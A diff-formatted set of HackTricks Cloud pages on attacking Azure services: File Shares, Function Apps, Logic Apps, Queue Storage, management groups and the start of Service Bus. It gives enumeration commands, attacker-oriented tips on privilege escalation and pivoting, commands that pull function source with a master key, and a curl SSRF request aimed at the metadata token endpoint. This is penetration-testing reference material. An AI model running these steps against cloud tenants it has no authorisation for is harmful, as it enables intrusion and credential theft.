### Supported Authentications via SMB
|
||||
|
||||
- **On-premises AD DS Authentication**: It uses on-premises Active Directory credentials synced with Microsoft Entra ID for identity-based access. It requires network connectivity to on-premises AD DS.
|
||||
- **Microsoft Entra Domain Services Authentication**: It leverages Microsoft Entra Domain Services (cloud-based AD) to provide access using Microsoft Entra credentials.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: It enables Microsoft Entra users to authenticate Azure file shares over the internet using Kerberos. It supports hybrid Microsoft Entra joined or Microsoft Entra joined VMs without requiring connectivity to on-premises domain controllers. But it does not support cloud-only identities.
|
||||
- **AD Kerberos Authentication for Linux Clients**: It allows Linux clients to use Kerberos for SMB authentication via on-premises AD DS or Microsoft Entra Domain Services.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
|
||||
# List file shares
|
||||
az storage share list --account-name <name>
|
||||
az storage share-rm list --storage-account <name> # To see the deleted ones too --include-deleted
|
||||
# Get dirs/files inside the share
|
||||
az storage file list --account-name <name> --share-name <share-name>
|
||||
## If type is "dir", you can continue enumerating files inside of it
|
||||
az storage file list --account-name <name> --share-name <prev_dir/share-name>
|
||||
# Download a complete share (with directories and files inside of them)
|
||||
az storage file download-batch -d . --source <share-name> --account-name <name>
|
||||
|
||||
# Get snapshots/backups
|
||||
az storage share list --account-name <name> --include-snapshots --query "[?snapshot != null]"
|
||||
# List contents of a snapshot/backup
|
||||
az storage file list --account-name <name> --share-name <share-name> --snapshot <snapshot-version> #e.g. "2024-11-25T11:26:59.0000000Z"
|
||||
# Download snapshot/backup
|
||||
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
|
||||
```powershell
|
||||
Get-AzStorageAccount
|
||||
|
||||
# List File Shares
|
||||
Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>").Context
|
||||
|
||||
# Get Directories/Files Inside the Share
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (Get-AzStorageAccount -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>").Context
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Path "<share-directory-path>" -Context (Get-AzStorageAccount -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>").Context
|
||||
|
||||
# Download a Complete Share
|
||||
Get-AzStorageFileContent -ShareName "<share-name>" -Destination "C:\Download" -Path "<share-directory-path>" -Context (Get-AzStorageAccount -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>").Context
|
||||
|
||||
# Get Snapshots/Backups
|
||||
Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>").Context | Where-Object { $_.SnapshotTime -ne $null }
|
||||
|
||||
# List Contents of a Snapshot/Backup
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
|
||||
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login --enable-file-backup-request-intent`.
|
||||
|
||||
> [!TIP]
|
||||
> Use the param `--account-key` to indicate the account key to use\
|
||||
> Use the param `--sas-token` with the SAS token to access via a SAS token
|
||||
|
||||
### Connection
|
||||
|
||||
These are the scripts proposed by Azure at the time of the writing to connect a File Share:
|
||||
|
||||
You need to replace the `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` and `<FILE-SHARE-NAME>` placeholders.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Windows"}}
|
||||
|
||||
```powershell
|
||||
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
|
||||
if ($connectTestResult.TcpTestSucceeded) {
|
||||
# Save the password so the drive will persist on reboot
|
||||
cmd.exe /C "cmdkey /add:`"<STORAGE-ACCOUNT>.file.core.windows.net`" /user:`"localhost\<STORAGE-ACCOUNT>`" /pass:`"<ACCESS-KEY>`""
|
||||
# Mount the drive
|
||||
New-PSDrive -Name Z -PSProvider FileSystem -Root "\\<STORAGE-ACCOUNT>.file.core.windows.net\<FILE-SHARE-NAME>" -Persist
|
||||
} else {
|
||||
Write-Error -Message "Unable to reach the Azure storage account via port 445. Check to make sure your organization or ISP is not blocking port 445, or use Azure P2S VPN, Azure S2S VPN, or Express Route to tunnel SMB traffic over a different port."
|
||||
}
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="Linux"}}
|
||||
|
||||
```bash
|
||||
sudo mkdir /mnt/disk-shareeifrube
|
||||
if [ ! -d "/etc/smbcredentials" ]; then
|
||||
sudo mkdir /etc/smbcredentials
|
||||
fi
|
||||
if [ ! -f "/etc/smbcredentials/<STORAGE-ACCOUNT>.cred" ]; then
|
||||
sudo bash -c 'echo "username=<STORAGE-ACCOUNT>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
sudo bash -c 'echo "password=<ACCESS-KEY>" >> /etc/smbcredentials/<STORAGE-ACCOUNT>.cred'
|
||||
fi
|
||||
sudo chmod 600 /etc/smbcredentials/<STORAGE-ACCOUNT>.cred
|
||||
|
||||
sudo bash -c 'echo "//<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> cifs nofail,credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30" >> /etc/fstab'
|
||||
sudo mount -t cifs //<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME> /mnt/<FILE-SHARE-NAME> -o credentials=/etc/smbcredentials/<STORAGE-ACCOUNT>.cred,dir_mode=0777,file_mode=0777,serverino,nosharesock,actimeo=30
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="macOS"}}
|
||||
|
||||
```bash
|
||||
open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Regular storage enumeration (access keys, SAS...)
|
||||
|
||||
{{#ref}}
|
||||
az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Same as storage privesc:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-file-share-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
Same as storage persistence:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,266 @@
|
||||
# Az - Function Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** are a **serverless compute service** that allow you to run small pieces of code, called **functions**, without managing the underlying infrastructure. They are designed to execute code in response to various triggers, such as **HTTP requests, timers, or events from other Azure services** like Blob Storage or Event Hubs. Function Apps support multiple programming languages, including C#, Python, JavaScript, and Java, making them versatile for building **event-driven applications**, automating workflows, or integrating services. They are cost-effective, as you usually only pay for the compute time used when your code runs.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **Functions are a subset of the App Services**, therefore, a lot of the features discussed here will be used also by applications created as Azure Apps (`webapp` in cli).
|
||||
|
||||
### Different Plans
|
||||
|
||||
- **Flex Consumption Plan**: Offers **dynamic, event-driven scaling** with pay-as-you-go pricing, adding or removing function instances based on demand. It supports **virtual networking** and **pre-provisioned instances** to reduce cold starts, making it suitable for **variable workloads** that don’t require container support.
|
||||
- **Traditional Consumption Plan**: The default serverless option, where you **pay only for compute resources when functions run**. It automatically scales based on incoming events and includes **cold start optimizations**, but does not support container deployments. Ideal for **intermittent workloads** requiring automatic scaling.
|
||||
- **Premium Plan**: Designed for **consistent performance**, with **prewarmed workers** to eliminate cold starts. It offers **extended execution times, virtual networking**, and supports **custom Linux images**, making it perfect for **mission-critical applications** needing high performance and advanced features.
|
||||
- **Dedicated Plan**: Runs on dedicated virtual machines with **predictable billing** and supports manual or automatic scaling. It allows running multiple apps on the same plan, provides **compute isolation**, and ensures **secure network access** via App Service Environments, making it ideal for **long-running applications** needing consistent resource allocation.
|
||||
- **Container Apps**: Enables deploying **containerized function apps** in a managed environment, alongside microservices and APIs. It supports custom libraries, legacy app migration, and **GPU processing**, eliminating Kubernetes cluster management. Ideal for **event-driven, scalable containerized applications**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
When creating a new Function App not containerised (but giving the code to run), the **code and other Function related data will be stored in a Storage account**. By default the web console will create a new one per function to store the code.
|
||||
|
||||
Moreover, modifying the code inside the bucket (in the different formats it could be stored), the **code of the app will be modified to the new one and executed** next time the Function is called.
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as **write access over this bucket** will allow an attacker to **compromise the code and escalate privileges** to the managed identities inside the Function App.
|
||||
>
|
||||
> More on this in the **privilege escalation section**.
|
||||
|
||||
It's also possible to find the **master and functions keys** stored in the storage account in the container **`azure-webjobs-secrets`** inside the folder **`<app-name>`** in the JSON files you can find inside.
|
||||
|
||||
Note that Functions also allow to store the code in a remote location just indicating the URL to it.
|
||||
|
||||
### Networking
|
||||
|
||||
Using a HTTP trigger:
|
||||
|
||||
- It's possible to give **access to a function to from all Internet** without requiring any authentication or give access IAM based. Although it’s also possible to restrict this access.
|
||||
- It's also possible to **give or restrict access** to a Function App from **an internal network (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Function exposed to the Internet.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
It's possible to configure environment variables inside an app, which could contain sensitive information. Moreover, by default the env variables **`AzureWebJobsStorage`** and **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (among others) are created. These are specially interesting because they **contain the account key to control with FULL permissions the storage account containing the data of the application**. These settings are also needed to execute the code from the Storage Account.
|
||||
|
||||
These env variables or configuration parameters also controls how the Function execute the code, for example if **`WEBSITE_RUN_FROM_PACKAGE`** exists, it'll indicate the URL where the code of the application is located.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
Inside the linux sandbox the source code is located in **`/home/site/wwwroot`** in the file **`function_app.py`** (if python is used) the user running the code is **`app`** (without sudo permissions).
|
||||
|
||||
In a **Windows** function using NodeJS the code was located in **`C:\home\site\wwwroot\HttpTrigger1\index.js`**, the username was **`mawsFnPlaceholder8_f_v4_node_20_x86`** and was part of the **groups**: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
### **Managed Identities & Metadata**
|
||||
|
||||
Just like [**VMs**](vms/), Functions can have **Managed Identities** of 2 types: System assigned and User assigned.
|
||||
|
||||
The **system assigned** one will be a managed identity that **only the function** that has it assigned would be able to use, while the **user assigned** managed identities are managed identities that **any other Azure service will be able to use**.
|
||||
|
||||
> [!NOTE]
|
||||
> Just like in [**VMs**](vms/), Functions can have **1 system assigned** managed identity and **several user assigned** ones, so it's always important to try to find all of them if you compromise the function because you might be able to escalate privileges to several managed identities from just one Function.
|
||||
>
|
||||
> If a no system managed identity is used but one or more user managed identities are attached to a function, by default you won’t be able to get any token.
|
||||
|
||||
It's possible to use the [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) to get tokens from the default managed identity from the metadata endpoint. Or you could get them **manually** as explained in:
|
||||
|
||||
{% embed url="https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm" %}
|
||||
|
||||
Note that you need to find out a way to **check all the Managed Identities a function has attached** as if you don't indicate it, the metadata endpoint will **only use the default one** (check the previous link for more info).
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Note that there aren't RBAC permissions to give access to users to invoke the functions. The **function invocation depends on the trigger** selected when it was created and if a HTTP Trigger was selected, it might be needed to use an **access key**.
|
||||
|
||||
When creating an endpoint inside a function using a **HTTP trigger** it's possible to indicate the **access key authorization level** needed to trigger the function. Three options are available:
|
||||
|
||||
- **ANONYMOUS**: **Everyone** can access the function by the URL.
|
||||
- **FUNCTION**: Endpoint is only accessible to users using a **function, host or master key**.
|
||||
- **ADMIN**: Endpoint is only accessible to users a **master key**.
|
||||
|
||||
**Type of keys:**
|
||||
|
||||
- **Function Keys:** Function keys can be either default or user-defined and are designed to grant access exclusively to **specific function endpoints** within a Function App allowing a more fine-grained access over the endpoints.
|
||||
- **Host Keys:** Host keys, which can also be default or user-defined, provide access to **all function endpoints within a Function App with FUNCTION access level**.
|
||||
- **Master Key:** The master key (`_master`) serves as an administrative key that offers elevated permissions, including access to all function endpoints (ADMIN access lelvel included). This **key cannot be revoked.**
|
||||
- **System Keys:** System keys are **managed by specific extensions** and are required for accessing webhook endpoints used by internal components. Examples include the Event Grid trigger and Durable Functions, which utilize system keys to securely interact with their respective APIs.
|
||||
|
||||
> [!TIP]
|
||||
> Example to access a function API endpoint using a key:
|
||||
>
|
||||
> `https://<function_uniq_name>.azurewebsites.net/api/<endpoint_name>?code=<access_key>`
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Just like in App Services, Functions also support basic authentication to connect to **SCM** and **FTP** to deploy code using a **username and password in a URL** provided by Azure. More information about it in:
|
||||
|
||||
{{#ref}}
|
||||
az-app-service.md
|
||||
{{#endref}}
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
When a function is generated from a Github repo Azure web console allows to **automatically create a Github Workflow in a specific repository** so whenever this repository is updated the code of the function is updated. Actually the Github Action yaml for a python function looks like this:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Yaml</summary>
|
||||
|
||||
```yaml
|
||||
# Docs for the Azure Web Apps Deploy action: https://github.com/azure/functions-action
|
||||
# More GitHub Actions for Azure: https://github.com/Azure/actions
|
||||
# More info on Python, GitHub Actions, and Azure Functions: https://aka.ms/python-webapps-actions
|
||||
|
||||
name: Build and deploy Python project to Azure Function App - funcGithub
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
|
||||
env:
|
||||
AZURE_FUNCTIONAPP_PACKAGE_PATH: "." # set this to the path to your web app project, defaults to the repository root
|
||||
PYTHON_VERSION: "3.11" # set this to the python version to use (supports 3.6, 3.7, 3.8)
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Python version
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ env.PYTHON_VERSION }}
|
||||
|
||||
- name: Create and start virtual environment
|
||||
run: |
|
||||
python -m venv venv
|
||||
source venv/bin/activate
|
||||
|
||||
- name: Install dependencies
|
||||
run: pip install -r requirements.txt
|
||||
|
||||
# Optional: Add step to run tests here
|
||||
|
||||
- name: Zip artifact for deployment
|
||||
run: zip release.zip ./* -r
|
||||
|
||||
- name: Upload artifact for deployment job
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
path: |
|
||||
release.zip
|
||||
!venv/
|
||||
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
needs: build
|
||||
|
||||
permissions:
|
||||
id-token: write #This is required for requesting the JWT
|
||||
|
||||
steps:
|
||||
- name: Download artifact from build job
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: python-app
|
||||
|
||||
- name: Unzip artifact for deployment
|
||||
run: unzip release.zip
|
||||
|
||||
- name: Login to Azure
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }}
|
||||
tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }}
|
||||
subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }}
|
||||
|
||||
- name: "Deploy to Azure Functions"
|
||||
uses: Azure/functions-action@v1
|
||||
id: deploy-to-function
|
||||
with:
|
||||
app-name: "funcGithub"
|
||||
slot-name: "Production"
|
||||
package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it.
|
||||
|
||||
### Container Based Deployments
|
||||
|
||||
Not all the plans allow to deploy containers, but for the ones that do, the configuration will contain the URL of the container. In the API the **`linuxFxVersion`** setting will ha something like: `DOCKER|mcr.microsoft.com/...`, while in the web console, the configuration will show the **image settings**.
|
||||
|
||||
Moreover, **no source code will be stored in the storage** account related to the function as it's not needed.
|
||||
|
||||
## Enumeration
|
||||
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
|
||||
# Get info of 1 funciton (although in the list you already get this info)
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
|
||||
## This is using a container
|
||||
|
||||
# Get details about the source of the function code
|
||||
az functionapp deployment source show \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
## If error like "This is currently not supported."
|
||||
## Then, this is probalby using a container
|
||||
|
||||
# Get more info if a container is being used
|
||||
az functionapp config container show \
|
||||
--name <name> \
|
||||
--resource-group <res-group>
|
||||
|
||||
# Get settings (and privesc to the sorage account)
|
||||
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Check if a domain was assigned to a function app
|
||||
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get SSL certificates
|
||||
az functionapp config ssl list --resource-group <res-group>
|
||||
|
||||
# Get network restrictions
|
||||
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
|
||||
|
||||
# Get source code with Master Key of the function
|
||||
curl "<script_href>?code=<master-key>"
|
||||
## Python example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
|
||||
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition](https://learn.microsoft.com/en-us/azure/azure-functions/functions-openapi-definition)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,69 @@
|
||||
# Az - Logic Apps
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Logic Apps is a cloud-based service provided by Microsoft Azure that enables developers to **create and run workflows that integrate various services**, data sources, and applications. These workflows are designed to **automate business processes**, orchestrate tasks, and perform data integrations across different platforms.
|
||||
|
||||
Logic Apps provides a visual designer to create workflows with a **wide range of pre-built connectors**, which makes it easy to connect to and interact with various services, such as Office 365, Dynamics CRM, Salesforce, and many others. You can also create custom connectors for your specific needs.
|
||||
|
||||
### Examples
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps can automate **data transfer and transformation processes** in combination with Azure Data Factory. This is useful for creating scalable and reliable data pipelines that move and transform data between various data stores, like Azure SQL Database and Azure Blob Storage, aiding in analytics and business intelligence operations.
|
||||
- **Integrating with Azure Functions**: Logic Apps can work alongside Azure Functions to develop **sophisticated, event-driven applications that scale as needed** and integrate seamlessly with other Azure services. An example use case is using a Logic App to trigger an Azure Function in response to certain events, such as changes in an Azure Storage account, allowing for dynamic data processing.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
It's possible to view a LogicApp with graphics:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
or to check the code in the "**Logic app code view**" section.
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
Even if you find the **Logic App vulnerable to SSRF**, you won't be able to access the credentials from the metadata as Logic Apps doesn't allow that.
|
||||
|
||||
For example, something like this won't return the token:
|
||||
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List
|
||||
az logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table
|
||||
# Get info
|
||||
az logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get Logic App config
|
||||
az logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
# Get service ppal used
|
||||
az logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerSHell" }}
|
||||
|
||||
```powershell
|
||||
# List
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
|
||||
# Get info
|
||||
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>
|
||||
# Get Logic App config
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Definition | ConvertTo-Json
|
||||
# Get service ppal used
|
||||
(Get-AzLogicApp -ResourceGroupName <ResourceGroupName> -Name <LogicAppName>).Identity
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+56
@@ -0,0 +1,56 @@
|
||||
# Az - Management Groups, Subscriptions & Resource Groups
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Management Groups
|
||||
|
||||
You can find more info about Management Groups in:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List
|
||||
az account management-group list
|
||||
# Get details and management groups and subscriptions that are children
|
||||
az account management-group show --name <name> --expand --recurse
|
||||
```
|
||||
|
||||
## Subscriptions
|
||||
|
||||
You can find more info about Subscriptions in:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List all subscriptions
|
||||
az account list --output table
|
||||
# Get details
|
||||
az account management-group subscription show --name <management group> --subscription <subscription>
|
||||
```
|
||||
|
||||
## Resource Groups
|
||||
|
||||
You can find more info about Resource Groups in:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List all resource groups
|
||||
az group list
|
||||
# Get resource groups of specific subscription
|
||||
az group list --subscription "<subscription>" --output table
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,95 @@
|
||||
# Az - Queue Storage
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# You need to know the --account-name of the storage (az storage account list)
|
||||
az storage queue list --account-name <storage_account>
|
||||
|
||||
# Queue Metadata
|
||||
az storage queue metadata show --name <queue_name> --account-name <storage_account>
|
||||
|
||||
#Get ACL
|
||||
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
|
||||
|
||||
# Get Messages (getting a message deletes it)
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
|
||||
# Peek Messages
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PS" }}
|
||||
|
||||
```bash
|
||||
# Get the Storage Context
|
||||
$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
|
||||
$ctx = $storageAccount.Context
|
||||
|
||||
# Set Variables for Storage Account
|
||||
$storageAccountName = "queuestorageaccount"
|
||||
|
||||
# List Queues
|
||||
Get-AzStorageQueue -Context $context
|
||||
$queueName = "myqueue"
|
||||
|
||||
# Retrieve a specific queue
|
||||
$queue = Get-AzStorageQueue -Name $queueName -Context $context
|
||||
$queue # Show the properties of the queue
|
||||
|
||||
# Retrieve the access policies for the queue
|
||||
$accessPolicies = Get-AzStorageQueueStoredAccessPolicy -Context $context -QueueName $queueName
|
||||
$accessPolicies
|
||||
|
||||
# Peek Messages
|
||||
$queueMessage = $queue.QueueClient.PeekMessage()
|
||||
$queueMessage.Value
|
||||
|
||||
# Set the amount of time you want to entry to be invisible after read from the queue
|
||||
# If it is not deleted by the end of this time, it will show up in the queue again
|
||||
$visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
|
||||
|
||||
# Read the messages from the queue, then show the contents of the messages.
|
||||
$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
|
||||
$queueMessage.Value
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-queue-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-queue-persistance.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,100 @@
|
||||
# Az - Service Bus Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Bus
|
||||
|
||||
Azure Service Bus is a cloud-based **messaging service** designed to enable reliable **communication between different parts of an application or separate applications**. It acts as a secure middleman, ensuring messages are safely delivered, even if the sender and receiver aren’t operating simultaneously. By decoupling systems, it allows applications to work independently while still exchanging data or instructions. It’s particularly useful for scenarios requiring load balancing across multiple workers, reliable message delivery, or complex coordination, such as processing tasks in order or securely managing access.
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** its purpose is to store messages until the receiver is ready.
|
||||
- Messages are ordered, timestamped, and durably stored.
|
||||
- Delivered in pull mode (on-demand retrieval).
|
||||
- Supports point-to-point communication.
|
||||
2. **Topics:** Publish-subscribe messaging for broadcasting.
|
||||
- Multiple independent subscriptions receive copies of messages.
|
||||
